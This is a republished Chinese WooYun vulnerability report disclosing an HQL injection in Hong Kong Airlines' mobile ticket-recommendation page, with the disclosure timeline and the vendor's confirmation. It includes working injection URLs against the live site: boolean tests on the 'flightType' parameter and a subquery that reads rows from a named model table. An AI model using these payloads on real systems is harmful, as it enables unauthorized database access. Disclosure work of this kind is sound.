香港航空某处HQL注入

admin 2017年4月28日23:19:38评论606 views字数 198阅读0分39秒阅读模式
摘要

2016-05-04: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2016-205054

漏洞标题: 香港航空某处HQL注入

相关厂商: 香港航空

漏洞作者: V1ct0r

提交时间: 2016-05-04 19:53

公开时间: 2016-06-20 16:20

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 8

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: HQL

2人收藏


漏洞详情

披露状态:

2016-05-04: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

此处较为鸡肋,就当小小记录一下...

详细说明:

关于HQL注入Drops里面有一篇文章:http://www.cn-sec.com/drops//tips/748

HQL的一个案例: WooYun: 优学院某处HQL注入

问题发生在香港航空的手机版:https://m.hongkongairlines.com/

https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%22&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

香港航空某处HQL注入

根据错误信息可知可能存在HQL注入.注入点在:flightType

构造测试:

https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%270&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

香港航空某处HQL注入

https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%275&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

香港航空某处HQL注入

可验证注入存在.

首先我们可以参考: WooYun: 优学院某处HQL注入 来获取user信息.

由之前的报错信息,可以知道当前表的名字:

***.***.***.aio.flight.model.FpRecommendFlight

然后可以读取当前表的数据:

https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A(select%0Acount(id)%0Afrom%0A***.***.***.aio.flight.model.FpRecommendFlight%0Awhere%0Arownum%3C10)%3E0%0Aand%0A%271%27%3E%270&lang=EN&orgCity=&protocalnum=&returnDate=&takeoffDate=&tripType=

香港航空某处HQL注入

借助其他地方的报错信息,我们还得到了另一个表的名字:

***.***.***.aio.common.model.MContent

可按照上面方式来读取...

但是如何获取其它表名呢?laterain师傅告诉我:

可能它将对表的操作都放在了Model层里面,所以不仅需要找到表名还得找到对应的Model名称

也就是说我们只有可能通过一些其他的方式来获得更多对应的名字(如这里的报错信息)

我觉得这样确实显得非常鸡肋,但是在某些特殊情况下,例如当前表恰好存了我们想获取或敏感的信息时,还是会比较有用了.

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 V1ct0r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-06 16:13

厂商回复:

谢谢,我们会立即安排整改。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-05-04 20:38 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    0

    航空杀手

  2. 2016-05-04 22:23 | V1ct0r ( 普通白帽子 | Rank:375 漏洞数:81 | 生活不止眼前的苟且,还有黑客和远方.)

    0

    @牛肉包子 (●´ω`●)φ

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin